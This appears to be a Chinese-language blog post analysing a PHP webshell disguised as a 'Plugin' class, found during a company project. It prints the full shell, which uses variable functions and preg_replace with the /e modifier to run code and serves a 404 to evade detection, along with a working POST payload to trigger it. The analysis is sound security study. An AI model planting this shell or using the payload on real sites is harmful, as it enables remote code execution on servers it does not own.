<?php
class Plugin {
public function __construct() {
$jq = @$_POST['SNrEeYyIMGvjCHfq3'];
if ($jq) {
$option = $jq (@$_POST['SNrEeYyIMGvjCHfq2']) ;
$au = $jq ( @$_POST['SNrEeYyIMGvjCHfq1']) ;
$option ( "/438/e" , $au , 438 ) ;
} else {
header("HTTP/1.0 404 Not Found");
}
}
}
$content = new Plugin;
先上代码 。这个代码是在做一次公司项目是扣到的 很有意思便保存了下来
可以看到这里是使用了一个魔术方法__construct 就是说在创建一个class时会触发 更多魔术方法在这里有提及,这里代码主要就是三个变量从post获取SNrEeYyIMGvjCHfq3 SNrEeYyIMGvjCHfq2 SNrEeYyIMGvjCHfq1
$jq是通过SNrEeYyIMGvjCHfq3 进入 else语句是一个404header 估计是防止检测一类用的。所以这里要走if 内容 看一下这一句
$option ( "/438/e" , $au , 438 ) ;
如果熟悉php应该能明白这里使用的就是preg_replace进行代码执行 因为有/e 所以考虑option 为preg_replace 而 option是来于
$option = $jq (@$_POST['SNrEeYyIMGvjCHfq2']) ;
因为函数的方法是变量传递的不是特定函数。所以考虑使用 一个函数使他的返回值要为preg_repalce 也就是说返回值需要是一个string 类型。这里选择很多刚开始使用strreplace,但是失败了,后来我选择空格过滤函数trim 那么如果我们选择执行函数是preg_replace 那么au就是我们的恶意代码了 因为jq函数是trim 那么恶意代码不需要特别的编码(trim也可以用base64_decode代替进行base64代码的加密)
那么最后的执行payload为
SNrEeYyIMGvjCHfq1=phpinfo();&SNrEeYyIMGvjCHfq3=trim&SNrEeYyIMGvjCHfq2=preg_replace
https://wordpressrelated.com/execute-php-code-from-cookie/
https://stackoverflow.com/questions/28461492/execute-php-code-from-cookie